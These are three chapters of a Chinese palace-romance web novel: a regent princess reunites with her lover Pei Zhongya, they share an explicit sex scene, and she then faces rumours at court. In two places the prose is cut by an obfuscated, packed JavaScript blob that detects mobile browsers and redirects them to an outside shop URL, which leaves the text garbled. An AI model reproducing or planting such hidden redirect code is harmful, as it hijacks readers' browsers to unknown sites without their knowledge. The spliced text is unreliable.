“那位公子真是个好人啊!虽说我们救他也不图什么,但公子知恩图报,给我们村子解决了很大的麻烦!村里没多少人识字,有时镇上的官吏来收税,只能是他们说多少我们就给多少,可税租一年比一年高,纵使我们都是些庄稼人,也看出了其中蹊跷。我们村里几个男人集合在一起,说要去讨个说法。谁承想说法没讨到,人命却没了两条。 “此事一出,我们村里好几年没人敢说话。去年冬天,明明刚交完租,他们又要来收,这回说……说什么要交……哎哟反正真是闻所未闻的税,所有人都叫苦连天,但实在是没办法,一家家只能卖地凑钱。那公子看我们这般愁苦,一日突然独自去了镇上,回来的时候带来了一帮人,把那群欺上瞒下的官吏全抓了送到县衙,县令真是个好官,把那些人全关进了大牢,还把多收的税钱都还给了我们。去年过年,我们终于吃上了肉!”他讲到兴头上,忽然意识到什么,连忙道歉,“贵……贵人对不住,老头子我一时说得起劲,对不住对不住,我……我给您磕头谢罪!” “不必!”我连忙叫停,“您继续,他为什么要把这块石头给您?他为什么不回京?现在又在哪里?您又为何知道把这东西给宫门守卫呢?不怕被打出来吗?” “我们本以为公子还要在村里住一阵子,毕竟他成了我们村子的大恩人,我们根本不想他离开。但是他说他还有要事要办,必须早点离开。临行前,他将此物给我,说在县里给我报了份差事,没想到选上了。等开春,叫我跟着运粮官一同上京运粟米交田租,然后叫我把这块石头给城门口一个叫宋君若的将军。 “老头子我也怕啊。我这辈子去过最远的地方就是镇上,连县都没出过,还让我上京,还要去找守宫门的将军,这叫我如何是好!然后公子说:‘所以叫你找宋君若,其余一概不行。他会把这东西交到该交的人手中。’我问他:‘公子您到底是要去哪里啊?为什么不自己给呢?’ “公子说:‘难得出来,得多走走乡野,体察民情才行。’我当时便笃定公子的身世不一般,那日身上的伤也不一定是野兽所致。我想让他留下,叫官车送他回去。他说官车太惹眼,他自己回去。山水有相逢,就此别过。所以公子如今在哪里,我……当真不知。” 他胆子真够大的,什么难得出来看看乡野,受了这么重的伤,竟然还能讲出这样的话!不过五王战事方才平息,我至今都在与五王的残余势力周旋,更遑论裴家——有的是将他们视作敌人的人,他暗藏于田,确实是保护自己的最佳办法。 他还活着,他还活着! 血液在我的四肢百骸奔涌,所有的欣喜在我心中切切实实地被感受到。他还活着! 虽然我不知道如今的他在哪里,但只要他还活着,只要他还走在齐国的土地上,只要时间够久,我就一定能见到他! 36. [锁] [此章节已锁] 我赏了老伯五十亩田地和五十金便放他还乡。 我忽然感觉我浑身上下的病都好了,每日都是晴天。可有时又会想,万一这是裴仲琊让我安心的把戏呢?可老伯不会骗人,那样的神情那样的言辞,必定是真的。 我相信自己的判断。 日子又变得好过起来,春天更加热烈明亮,广明殿也因此喜气洋洋起来。一日,我与陈蕴路过彤管阁,竟是听见傅妁冯曦她们在聊天,边晒太阳边嗑瓜子,连我都羡慕。 “哎呀呀,我今日进宫瞧见我们小宋将军在宫门口当值,脸色那叫一个难看。”冯曦啜了口茶,继续咔嚓咔嚓嗑瓜子。 “谁说不是呢!这事儿放谁身上脸色都好看不了啊。”傅妁十分同情理解,“你说说看,若说是你,情敌消失了,你又为自己喜欢的人立了功,还可以天天陪在喜欢的人身边,是不是很开心?诶突然,你情敌告诉你,他没死!?这谁受得了!是我我也受不了。” “听说小宋将军已经好几日不去广明殿了?” “谁说不是呢!往日可是天天都要跑好几趟的,也不嫌累……”傅妁悄悄笑着,“诶,我问你,若说要你选,你是喜欢活泼一点的、年纪小的,还是稳重一点年纪大的?” 冯曦深刻地思忖了一番:“不能有两个丈夫吗?” 傅妁心领神会地仰天大笑,连连拍打冯曦的肩膀:“要死了你,还在守寡,胆子这么大!” “要放往日我可不敢说这话,但是自从来了彤管阁,我发现不管我说多么不守妇道的话,什么事都不会发生。那过过嘴瘾的事,我有什么好不说的?男人还真真切切地受用着呢,我连说都不能说了?” 傅妁手里拿着蜜饯,用胳膊捂着嘴嗤嗤地笑:“说真的,你觉得小宋将军好,还是小裴相公好?” “我的天奶啊,我哪敢想他们俩?” “谁说你了,我说和殿下!” “哦哦哦,殿下啊。”冯曦仰头望天,好似真的认真思考了一番,“我觉得还是小宋将军好。你看,小宋将军多听殿下的话啊,殿下让他往东他不敢往西,让他往西他不敢往东。人还年轻健壮,高大魁梧,简直是居家远行必备之良品也!” “你们年纪小的就只想着外形和玩乐,像我们这种成了家的啊,只在乎丈夫是不是上进负责稳重可靠,对孩子好不好,对自己好不好,与婆母有了矛盾后,会不会妥善地处理问题。什么外形玩乐,根本不重要!”傅妁叹气,“要我说,如果没有那些事儿,殿下与小裴相公必定是千古佳话。” “谁说不是呢!”王铮意不知何时从哪里冒了出来,抱着一摞竹简匆匆地来匆匆地走,只丢下一句扼腕的话。 冯曦还在同她们争辩宋君若的好,另外两个直摇头根本听不进去。 我拉着陈蕴离开,回头看见她竟然也在笑。 “你也笑!?” 陈蕴连忙将嘴捂住:“不笑了不笑了,微臣只是觉得大家所言非虚,小宋将军近几日……真的有些可怜。” “阿若他……母亲早逝,父亲荒唐,没有体会过人世间正常的父母之爱,从小到大不管是在楚国还是如今在长安,都是我与他相处最久。他对我的依恋太重,重到自己都想不明白是亲情还是别的什么感情。一直以来,我也太过惯着他,还是应当让他离我远点,去寻找属于他的真正的生活和情感。” “若他找不到呢?”陈蕴问道。 “为什么会找不到?” “你会说这番话,是因为你觉得你在他人生里只能做姐姐,可万一小宋将军不是这样想的呢?万一他现在所做的一切都是经过深思熟虑的呢?若是这样,你以后啊,肯定逃不开他。”陈蕴笑着,信誓旦旦,“他也绝对不会让你从他身边逃走的。” “我是长公主,如今整个国朝都掌握在我手中。我去哪儿,他去哪儿,还不都是我说了算。” 陈蕴低头浅笑,没有反驳我。 管他逃得开逃不开,那也是以后的事了。现在的要紧事是宋君若跟我赌气了一个月,广明殿不来,带去的东西不吃,衣服不穿,原原本本地还回来。这要是以前,我能冲到他面前,揪着他的耳朵让他把一桌的饭都吃了,衣服穿上三天不许脱下来,但是现在不敢了,根本不敢,只能僵着。 江东送来厚厚一沓帛书,刘勉将东西搬到搬到彤管阁,告诉我裴仲琊上月启程去了江东,等暮春入夏便回京了。 “外面有什么好呆的……”我随意地翻着帛书,悄悄嘀咕,“知道给别人写信,也不知道给我写……” “二郎可能不敢吧。”刘勉听见了,笑着解释,“他说了,等他回京亲自与殿下您请罪。” “他到底去做什么了?姜融姜琰的残兵势力还没有全部解决,好不容易捡回一条命,他还不回来?” “二郎说他要去替殿下寻找抑制土地兼并的法子。大齐如今虽是强盛,但贫富差距悬殊,圣人言:不患寡而患不均。如今,豪绅手里的钱和田逐年增加,但贫农佃农流民却渐渐增多,他们手里的钱、田和粮食也越来越少。 “鲁南五国能有本钱谋反,归根究底就是兼并了太多的土地,良田良民全部收归己用,积累了太多的金银粮食,势力日渐壮大,才会生出那样的野心。二郎说,釜底抽薪才能真正解决祸患,而高居庙堂之上永远找不到问题所在,唯有深入乡野体察民情,才能悟出解决之道。” 刘勉笑着看我:“殿下别担心,我们已经派人在暗中保护他了,一定会护送他平安回家的。再过一两个月,您就可以见到他了。” “我……”我的心事被表哥说中,却不想承认,“我才没有很想见他,只是他为国为民,若是人活着却没能安全回京,整个大齐的百姓都会怪罪于我的。” 刘勉整理好帛书,没有说话,笑着退了出去。 彤管阁的侍童点起蜡烛端到我面前,帛书上的字端正秀丽,透着光,字字品读,恍若见到江东重峦叠嶂,水何澹澹,风景秀美,百姓渔樵耕读,田园享乐,但又见此地山多田少,瘴气横生,百姓傍水而居,以水为生,因水而害。 裴仲琊一步步丈量着我的江山,将它们变成一个个精准而又美丽的文字送到我面前,让我这个永远都走不出未央宫的人能够一瞥这万里河山的每一处。 他的文字真实又温暖,写了每一处的美景美食人文风貌,又写了治理难处与谏言方法,末了再添一句“这地方春花开得艳丽,你会喜欢的”。 这是一卷卷考究地志,却也像远行的人儿往家中寄来的一封封书信——告诉家中的人不用担心,我在外面过得很好,这儿的风景很好看,食物很好吃,人们很友善,我们以后一定要一起来。你若来了,会很喜欢。 一卷书、一盏灯、一杯茶,直到陈蕴来叫我,我才发现殿外的太阳已经落下,月亮升了起来。陈蕴提着灯将我送回广明殿。宫苑里的紫藤与白蔷又开了,好似冬日的雪还没有化尽,等待着来人赴最后一场白雪红泥小火炉之约。暗夜里涌动着温柔的清香,我拨开紫藤垂下的丝绦,坐在秋千上轻轻地晃啊晃。 记得当时送裴仲琊离开,也是在这儿。 “殿下可安心了。”陈蕴道。 我摇着秋千,心中轻快无比:“是啊,花儿都开了,春天……要来了。” - 裴仲琊在春色满园之际回到了这座他阔别已久的宫阙。 我想去宫门接他,可我不能。我只能端坐在我的广明殿中,等待着他的朝见。 正宫门,恒阳门,五德门,穿过它们后向右转走上一处廊桥,再拐十五个回廊,便是广明殿阶下。下了羊车,走上九十八级台阶,跨过门槛,拨开重重屏风纱幔,他就来到了我的面前。 他清瘦消减了不少,可人却变得精神舒朗了——身形挺立,肩背舒展,面上的笑容平静又温和。他静静地看着我。眼睛也变得更加清澈,像被水浸润过的琉璃碧玺。下巴上有青色的短短的胡茬,必定是急忙回家梳洗完便进宫来见我了,发梢上也还带着湿漉漉的水汽。 他规矩地站在堂下,双手拢在袖中,双眼一瞬不瞬地望着我:“微臣,见过殿下。” 见过殿下。多么简单客套的一句话,去了这么远的地方,消失了这么久,我甚至一度以为他真的死了,这辈子都见不到他了。可他回来了,好似无事发生,好似只是昨日退朝离开,今日上朝再来般正常,轻轻松松地对我说一句:微臣见过殿下。 好好好。 胸中酸酸胀胀,有什么东西想要喷薄而出,我深吸一口气,朝着他笑了笑:“平身吧裴御史。” 萱萱惊奇地看了我一眼,正打算招呼侍女们下去,却被我叫住:“裴御史今日前来,怕是有很多过路见闻要说,大家一起听听吧。” 众人闻言,走也不是不走也不是,面面相觑,最终还是回到了原位。 “裴御史在江南江东待了数月不想回京,想必是见识了更好的美景美人吧?何不趁此机会,让我们大家都开开眼?” 裴仲琊没有反驳我,而是上前几步将一卷帛书在我面前展开,上书:江南地志概要。 “其余游记地志皆以送往彤管阁。殿下若有不明,无论何时皆可召臣入宫详解。” 他身上轻浅的皂角香气与青竹熏香的味道拂在我面前。严谨端正的发冠里漏出几根发丝垂在额前,被春风拂起。我抬眼看他,他的眼睫仍旧长如蝉翼,在眸下盖出一道阴影,眼中有我的倒影和难以辨别的情绪。 屋外春光烂漫,喜鹊在屋檐下叽叽喳喳,时而望着蓝天时而瞧瞧屋檐下的我们。 “南方就那么好。那么让你流连忘返……”我强忍鼻尖酸意,质问。 “我……”裴仲琊要开口,瞥了一眼旁边的萱萱。萱萱心领神会,立即将所有人都带了下去。 屋内只有我们二人,他想伸手,我却躲开。 “泱泱……” “别叫我。”我将头扭到一边,“我们很亲近吗?这样叫我?” “我错了。” “你没错,你哪里有错?你在江东江南待了这么久,还不是为了帮我找抑制土地兼并的办法,为了江山社稷与大齐百姓,你能有什么错?”我道,“连我都得感谢你,你有什么好道歉的?” 他没有说话,只是走到我身边想要将我揽住。我拍开他的手,他又黏上来,轻轻地从后圈住我,将脑袋搁在我的肩膀上。耳畔传来深呼吸,他再一次用力地将我抱住,一双大手把我的手掌握在手心里,在脖子上落下一串细密急切却不带任何情欲的吻。 他温暖的身躯熨帖着我的脊背,耳垂又湿又痒,我不禁缩了缩脖子。他却不允许,蛮横地用下巴挤开肩颈,再一次将怀抱缩紧禁锢。 “别躲……求求你……”他口中的热气拂在我的耳边,“我好想你……我真的真的好想你……” 眼泪上涌,我甚至来不及控制就已经夺眶而出,湿透了面颊。 我张了张嘴巴,想再次对他说出那些恶毒的话语,那些我本该说出口的话语。可裴仲琊——这个我日思夜想的人就在我身后,过去的几个月里他死里逃生、跋山涉水才回到我身边,我难道还要违心地对他说出那样的话吗?我真的说得出口吗? 曾经的我说出那样的话,无非就是不相信他爱我,无非就是觉得曾经的甜言蜜语都是谎言都是欺骗,而今难道我还觉得那些话是假的,是他哄骗我的糖衣炮弹吗?可能现在的裴开项都会觉得自己的儿子疯了,我难道还要再继续推开他,伤害他吗? 刻薄的话语无声地咽回肚子里,我侧头蹭了蹭他低垂的脑袋,眼泪沾湿了他的鬓角。他惊讶地抬头看我:“你哭了?” 我没有说话,望着这张日思夜想的面容,张开双臂抱住了他。熟悉而又温暖的怀抱,比情人的一切话语都要真挚热烈,他跳动的心脏敲击在我胸膛上,让我真切地感受到——他还活着,活着回到了我的身边。 没有比这更重要更令人心安的事情了。 “我以为我再也见不到你了……” 裴仲琊吻去我的眼泪:“对不起。” “你甚至连一封信都不愿意寄给我。”眼泪落在他的肩膀上,洇湿了他的衣裳,“你都不知道我掉了多少头发。我每天早上起来都不愿意梳头,一梳就是一把……我也不愿意看到江东来信,就怕是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282454|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的消息。我宁愿他们永远不告诉我你的消息,这样我就能一直当做你在齐国的某个角落,只是我不知道而已。” 裴仲琊的怀抱从来没有这样令人燥热窒息过,我难耐地挣扎了一下,却被他抱得更紧。他不住地道歉:“对不起,对不起,对不起……我错了,我不应该音讯全无,不应该让你这么担心,对不起……我当时被刺客追杀,腹部重了一箭滚落悬崖,若不是断崖上的树替我挡了一下,我真的……真的就回不来了。 “冰凉的河水穿过我的身子,我当时就想……就算是死,我也是完成了自己该做的事。五王联盟被瓦解,诸侯私吞田租的证据也留了下来,一切都是最好的结果,我替你扫清了障碍,我兑现了自己的诺言。只是……只是不知道,你会不会记得我的好,我就这样死在了无人知晓的山谷河流里,数年之后,你还会不会记得我,记得我为你做过的一切…… “泱泱,我本来以为我是无私的,我愿意为你做一切事情而不求回报。但那时我才发现,我根本不想让你忘记我,我要你生生世世都记得我,让你从今往后在爱上别人时都会对我心存愧疚怀念,都会想到我们的曾经和我的死亡。这样一想,或许我消失在那山谷里,也算是一种好事…… “你会记得我,世人会记得我,你得到了你想要的,裴家也不会被彻底冠上权臣窃国的罪名。” 他到现在还在想着裴家!还在想着这个把我们逼成现状的罪魁祸首!我用拳头狠狠地砸他的脊背,口中咒骂:“你根本就不是为了我!你话说的那么好听!说的那么好听!” 裴仲琊被打得咳嗽起来,疼得弓起背,倒抽冷气。我心中一痛,立马收了手,再次用掌心贴住他:“我……我是不是把你打疼了?” 他长喘一口气,笑道:“没事,是我的错。都是我的错。” 眼泪倾斜而下,积压的情绪喷涌而出,我大声哭骂:“你的错!什么都是你的错?!裴仲琊你为什么要对我这么好!你为什么要不顾自己的性命替我去做这些事情!我告诉过你,齐国离了你照样是盛世,我根本用不着你这样!我这么难受,这么煎熬,都是因为你父亲,是因为你父亲! “你没有错……从小到大,一点儿错都没有……你对我那么好,那么好……可我却一直对你恶语相向,我害你那么伤心,害你去那么远的地方还险些丧命……都是我的错,都是我……” 裴仲琊良久没有说话,他颤抖着手捧起我的脸颊。一个冰凉而急切的吻朝我袭来,覆盖了我所有的知觉与感官。 姜毓卿,就这一次,就这最后一次,这是最后一次。 如果我无法放弃皇位,无法放弃父母之恨,无法永远都活在他人的威胁压迫之下,就让这成为最后一次的荒唐与放肆吧。这里没有长公主,没有裴家御史,什么都没有,只有两个爱而不得的可怜人。我无法忘记血海深仇带给我的痛苦,可也无法再对他的满腔爱意视若无睹。 我爱他,我知道我还爱他。他的每一寸骨骼与肌肤,对我说的每一句话,做的每一个动作,都是我怀恋的,无法忘却。 那就这样吧。不要再压抑自己了。就这一次,姜毓卿,就这一次。完完全全地享受他给予的爱意,也完完全全地去爱他,因为从今往后可能再也没有机会了,不会再有机会了。 衣衫尽褪,他熟练地倾身在后颈上烙下一个滚烫的吻。 神思被情欲烧得混沌不堪,我不知道自己是在推他还是摸他,从喉咙里挤出根本不可能属于我的黏腻的声音:“去内殿……” “不。”裴仲琊拒绝了我,一掌扫开几案上的竹简,将我的手扣在几案上,“就在这里,就在这里。” 浑身上下都是滚烫的。他的唇落在哪里,哪里就□□燎原。 “不要……”眼前一片迷蒙,只觉神识都要散了,“裴仲琊……” “不要叫我这个。”他命令道,将我按到在地上,一手箍住我的双手举过头顶,俯身下来吻我,“我们第一次的时候你叫我什么,现在就叫什么。” 第一次的时候…… 十五岁,上林苑的山坡上遍地鲜花,阳光和煦,溪水潋滟,春日绚烂。以地为榻,以衣为被。 他青涩生疏却小心翼翼,问我疼不疼。我亲了亲他额头涨起来青筋,告诉他:我不疼二哥。 “二哥,哥哥……”眼泪从眼角滑落,裴仲琊衔走,又来吻我。 唇舌相接,我伸手揽住他的脖子。 我一声声地叫他哥哥,他一声声地回应泱泱。 我们是天造地设的有情人,一切都是那么契合愉悦。 广明殿的烛火烧了大半,宦官侍女从殿外走过。我侧躺在榻上,哼哼唧唧地发不出声音。 我体恤他,让他歇歇。裴仲琊额上的汗划过脸颊从下巴滴落到我腰上,我瑟缩,他闷哼一声,神情痛苦、难耐又涣散,发丝凌乱地挂在肩膀上,又有几撮似有若无地蹭着我的大腿和腰腹。 裴仲琊良久未动,抖着气音弯了腰,深喘了几口气,乖乖顺顺地趴到了我身上。 “二哥,好热……”我困意缱绻。 他退了出去,抱着我滚进榻里。帷幔四合,温暖柔软的床榻上,只有我们两个人。汗津津的实在难受,我动身要稍稍远离,却被他拦腰抱住,一个翻滚睡到了里侧,床榻被他严严实实地挡住——我下不了床了。 “别走。”裴仲琊餍足地埋在颈窝,“再抱一会儿,就一会儿。等会儿我就给你去打水擦身子。” 欢好尽兴后,困意总是袭来得十分快。我意识模模糊糊,只觉身侧的人下了榻,来来回回绞了五次帕子还在替我清理,我涨红着脸不敢看,在他胳膊上狠狠地拧了一把。 “我的错。”他倒是诚实,伏在我耳边语气暧昧,“可总得擦干净不是吗?微臣也没办法,长公主殿下。” “……!!!”我懒得同他说道,把头埋得更深。 他低下头来亲了亲我的鬓角:“睡吧,我会收拾干净的。” 意识困顿,我虚虚地抓着他的一角衣袍:“那你不许走。” 温暖的手抚上我的脸颊:“我回来了,不会走了。” 37. 第 37 章 裴仲琊醒得很早,又或者说他根本没怎么睡。可他回来了,我睡得香极了,连他给我编了几个大麻花辫都没察觉。早上起来梳洗时解了好一会儿,害的我早朝都差点迟到。 他竟然还敢笑我是昏君!我若是昏君,那他就是祸国殃民的妖姬! 裴仲琊回来后的早朝大臣们都放松了下来,一早上有事说事,都非常顺利。下朝后赶去广明殿,裴仲琊仍旧没走,看见我回来,一把将我抱住:“午膳我已经吩咐她们准备好了,全部都是你爱吃的。” 我笑着在他脸上亲了一口,刚要落座,想起多日未见的宋君若,刚想问,又觉得裴仲琊在身边不太好,便就收了声。 “宋君若派人又把东西送回来了。”裴仲琊牵着我的手,将东西指给我看,“衣裳、药品还有这些吃食。他又跟你闹脾气了?” 我没办法跟他解释,只好不说话。 “我听闻你处理了很多治粟内史治下的官员,唯独对一个叫郑辽的太仓令另眼相待。怎么?他有什么过人之处,让你这般上心?” 这事我不心虚,我坦诚道:“他是个尽心尽责的官员,精通公务、为人诚实正直,在田诠手底下做事难为他了。如今换了表哥,表哥需要人手,郑辽也需要伯乐,两全其美罢了。” 裴仲琊夹了一块肉放在我的碗里,有意无意道:“这个郑辽我见过,长得清俊儒雅,知书达礼,想来是对你的胃口。” 这肉明明是红烧的怎么就那么酸呢!我贴住裴仲琊的胳膊,将头靠在他肩膀上,笑道:“最对我胃口的在这儿呢。” “也不一定。”裴仲琊坦然自若地吃着饭,“没准什么时候口味就变了,吃多了清淡的就会想吃别的,许是辛辣的、也可以是酸甜的。” “不会的不会的。”我在他脸上亲了一口:“不换不换,家里的饭还没吃饱呢。” “真没吃饱?”裴仲琊放下手中的东西,往我的脖子里钻,双手抱上我的腰,又开始想得到点什么。 “裴御史,若是有人想白日宣淫,御史台一般都是怎么定罪的?”我摸着他的脑袋。 裴仲琊又啃又咬,一路往下:“若是与自己的妻子,那我们也管不着……”他更加急迫,边亲边要拿下我的碗筷。 我笑着故意去推他:“我没吃饱呢……” “这不是要帮你了吗?”他拦腰将我抱起,嘴唇还留恋在胸前,我扶着他的肩膀,吃吃地笑着。 裴仲琊刚将我放到榻上,萱萱就在门口急切地扣门。我一瞬间惊醒,起身推开裴仲琊。 “没什么急事……”他有些意乱情迷,根本不管我的反应,仍旧将我按在榻上解衣带,口中含糊不清,“即便是急事萱萱也会解决的。” 我双臂抵着他的肩膀:“若真是他能解决的,她就不会敲门了。你……你先……唔……” 裴仲琊的亲吻使我的理智燃烧,我所有的话语都被吞咽进了他的肚子。直到殿门再次被敲响——是宋君若的声音。 他又重重地拍了三下门,大喊道:“姐姐!我进来了啊!” 冷汗蹭的一下冒了上来,我连忙推开裴仲琊要下床,却被他重新按了回去:“你就那么怕宋君若看见我们这样?昨天我来广明殿却没有回去,任谁知道了都明白昨夜发生了什么,他宋君若怎会不知?你就是怕他来找你,对吗?我不在的时候,宋君若是不是已经跟你说了什么了?” 我哑然张了张嘴巴,已经听见殿门打开的声音。我倒抽一口冷气,连忙从裴仲琊身下钻出来。裴仲琊却抓住我的脚踝又一把将我拉回榻上。宋君若的脚步声在屏风外停下,三人屏息,都没有出声。 “阿若……?”我尽量控制自己的声线,不想让他察觉出异样。可他或许早已知晓,我这样也不过是自欺欺人。 宋君若没有说话,他静静地站在屏风外,只有一个影影绰绰的身形。 裴仲琊低下头来亲我,锁骨、胸膛又渐渐往下。我怒嗔他一眼,在他胳膊上狠狠拧了一下。可他非但没有停,甚至还变本加厉。 “姐姐,你知道吗?裴开项进宫了。”耳畔是宋君若冷静到无情的陈述,身上却是裴仲琊似有若无的撩拨,“他去了麟趾殿。” 当头一盆冰水浇了下来,心底身上的热火一下被熄灭。我推开裴仲琊立即坐起来,难以置信:“你说什么?裴开项去了麟趾殿?” “对。”宋君若抬起头,我看不见他的神情,不知道他是在看我,还是看我身边的裴仲琊,“裴家女儿——也就是裴御史的堂妹裴季蕙,要做皇后了。” 我的脑袋忽然被炸懵,四肢发麻,耳边嗡鸣,坐在榻上怎么也站不起来。 我都干了些什么!我都干了些什么!耽于情爱与男色之中,却忘了裴开项是只根本不能松懈的老狐狸。 我急忙穿好衣裳,想走衣袍带子却被抓住。裴仲琊仍旧坐在榻上没有起身,他披散着头发,沉静如渊的眼瞳看着我,似有千言万语。 我不知道该如何面对他,根本不敢看他的眼睛。我害怕他眼中的挽留会让我心软,让我再次陷入那个错误之中。 绕过屏风,宋君若定定地看着我,没有问任何多余的问题,也没有再往内殿看一眼:“现在去麟趾殿吗?” “现在去也来不及了,裴开项棋走险招与姜旻合谋,姜旻厌恶我,裴开项忌惮我,他们共同的敌人是我——裴季蕙入主中宫之事已是板上钉钉。”我尽可能地放低声音,“你先回去。这件事我知道了,让我先想想办法,日后找你商议。” “好。”宋君若垂眸看着我,将一缕碎发别到我的耳后,凑近几分,柔声细语,“姐姐,我会永远站在你这一边,永远。” 宋君若离开后的大殿寂静,我与裴仲琊良久无话,仿佛昨夜的缠绵缱绻不过是梦幻泡影,天一亮风一吹就散了。 我不想回去,裴仲琊却从屏风后走出来。我不知道我们两个人就这样站立了多久,直到温暖的怀抱将我包围,却不敢贴得太近。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321593|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他下巴搁在我的肩膀上,颤抖着呼吸:“泱泱……”小心的、脆弱的、胆怯的——他害怕我继续厌恶他,害怕我们的关系一夕之间又会回到从前。 我害怕吗?我不知道。我觉得自己就像个苟延残喘的人,明知前方是断崖,可还是不愿意放弃短暂的欢愉,哪怕未来它将会成为最毒的砒霜,反噬我,侵蚀我,让我永远痛苦。 我一直都是知道我们没有将来的,昨夜是最后一次,我告诉过我自己的。 脸颊与衣袍都是冰凉的,我不知道是我的眼泪更多些还是他的眼泪更多些。无声的眼泪与哭泣填满了所有的话语。 我艰难地离开他的怀抱,转身捧起他的脸颊:“别哭,别哭。” “泱泱……”他紧紧地攥着我的手,“不要不信我。” “我没有不相信你。”我看着他,擦去他的眼泪,“我……我一直都很相信你。这一年来,都是我在自欺欺人,可是我没有办法……我真的没有办法二哥……你,你回去吧……” “泱泱!”裴仲琊瞪大了眼睛,攥地我手腕生疼,“你让我走?你让我走了,还会让我回来吗?” “你该去你该去的地方,做你该做的事。我们都应该这样。” “哪里是我该去的地方?什么是我该做的事?” “选择裴家、忠于君王,而不是……而不是我。” “不是你?”裴仲琊眼中满是泪,“曾经你告诉我要我遵从内心,顺心而为,不要为了任何人而改变自己、为难自己,如今却劝我离开你,告诉我回到裴家找我父亲,帮他们对付你?你觉得那是我想做的事情吗?” “是不是你想做的事情都已经不重要了,那是你应该做的事情!”我瞪着他,“我是长公主,国朝历法规定我不能执政不能登基,可我联合外臣逼宫夺权,执掌朝政政令皆有我出,我若是能成,史书工笔尚会手下留情,可我若不能成呢?你有这样好的家世、才能,你就因为我白白搭进去了? “我如今看见你有多心痛难受你不知吗?让我恨你,我做不到;可让我像以前那样待你,我也做不到。我已经厌烦了裴仲琊,不如就此分别、两全其美、各生欢喜,你我都不必为难,都能够各奔前程。” “各生欢喜?各奔前程?”裴仲琊冷笑,“若我们当真有这样的魄力,就不会有昨晚的事,更不会有今日的事!如今你发下这样的誓言,你就当真做得到?你做得到,你就笃定我能做得到?” “我不管!我……”我还要继续和他吵,仰头却见他的眼泪啪嗒啪嗒地掉下来,可神情确实倔强非常,直直地看着我,好似一定要将我打败,让我认错,让我发誓以后再也不会说出这样的话。 “你……”我语塞,心中乱成一团,想说的话全部挤在喉咙,最终也只是一声叹息,“你……你回去吧。你走吧。” “姜毓卿。”他喊我。 我背过身不看他的脸,再一次说道:“走吧。桥归桥路归路,你我……从此陌路。” 38. 第 38 章 我又跟他说了这样的重话。再一次,又一次说了这样的话。 后悔的情绪在知道裴仲琊回府吐血后达到了顶峰。我又做了什么?他是个病秧子,是个重伤未愈,千里迢迢从南边赶回长安的病人。是帮我踏遍山河,记录所见所闻,寻找解难之法的人。而我却这么对他,我却这么对他。 懊恼与愧疚像潮水般将我淹没,可现实却没有留给我太多时间去伤感——民间流言四起,矛头直指向我。 “鲁南江东粮价大涨,从战前的一石二十钱涨到如今的一石一百五十钱。”傅妁念到一半,被我打断。 “二十钱到一百五十钱?!”我问道,“这不可能只是粮食短缺的缘故,是否有人私铸铜钱?” “正是,五王之乱平叛后,五国铸币权虽然已被收回,但铸币制具等管理混乱,有许多都被平民百姓或者铸币官吏拿走不知所踪。如今看来,必定是他们私铸的货币减量减重,百姓们要用更多的铜钱去买一样重量的粟米,这才导致粮价飞涨。”傅妁道。 陈蕴也说:“鲁南与浙东素来都是鱼米之乡,年前战乱,百姓无法收获耕种,打仗也吃去很多粟米,这才使得市面上的粮食减少。” “甚至还有不少富商豪绅屯粮不卖,只望再炒高粮价,好大赚一笔!”冯曦恨恨,“还有不少百姓因为无粮而交不起田租,富商豪绅们就伺机胁迫他们低价出售良田,害他们失田成为流民。” “所以他们才会说……牝鸡司晨,国之大患。”我自嘲一笑,“说我将五王逼反,导致战乱祸患,无法耕种,粮价飞涨、百姓流离失所。若是我不说他们私吞田租,他们也都不见的反,是吗?” “殿下,这必定是有人恶意散播引导,否则如何会有这样迅速一致的流言在长安城传开?”傅妁很是着急,“这些话我两日前才刚听到,如今就传遍了整个京城,若是无人作祟,微臣不信。” “是啊殿下。”冯曦也劝我,“五王之罪证据确凿,并非您污蔑了他们。他们联合田诠反叛谋逆,当诛该杀!” 我自然知道他们死有余辜,但流言并不在乎真相,他们只需要满足人们泄愤的欲望,就会如烈火燎原般席卷草原。不出三日,京城的风向又变了,这回又加上了新的被我“冤枉”的人物——田诠、裴开项还有姜旻。 这流言传到姜旻身上就不再是流言了,是朝政,是事实。 他们说我杀田诠、藏裴开项,说到底就是有了不该有的野心,生了不该生的妄念——代替姜旻。田诠可能是被冤枉的,裴开项迷路可能是被算计了,皇帝姜旻闭门不出必定是被软禁了。 大逆不道!乱臣贼子!必定是鬼怪夺舍了我们曾经的长公主,才让她变成如今这个蛇蝎心肠的妇人,不能再让她待在那个位置上了! 拉下来!拉下来!把她拉下来! 烧死!烧死!将邪祟烧死! 民怨鼎沸。 我没有迎来我想要的胜利的欢歌,压在我身上的只有无休无止的猜忌与攻讦。 我知道这并非偶然,就像傅妁说得必定有人在后推动才能这般迅速又齐整——相同的态度、递进的话语,将我一步步从高台上拉下来,然后扔进泥里。 我低估了姜旻与裴开项想弄死我的决心。 当然,他们也低估了我想要与之一斗到底的决心。 春夏交际的天气愈加闷热潮湿,我的身体变得很不舒服,可却又说不上是哪儿不对劲。不发热不咳嗽,只是偶尔头晕气短,可略坐一坐就又好了。 陈蕴等人来汇报公务时见我如此,都颇为关切,要找太医来瞧。 我阻止了她们:“这节骨眼上若是让他们知道我病了,就是给了他们可乘之机,还是不叫了。左右无大碍,就这么着吧。阿蕴你自己说。” 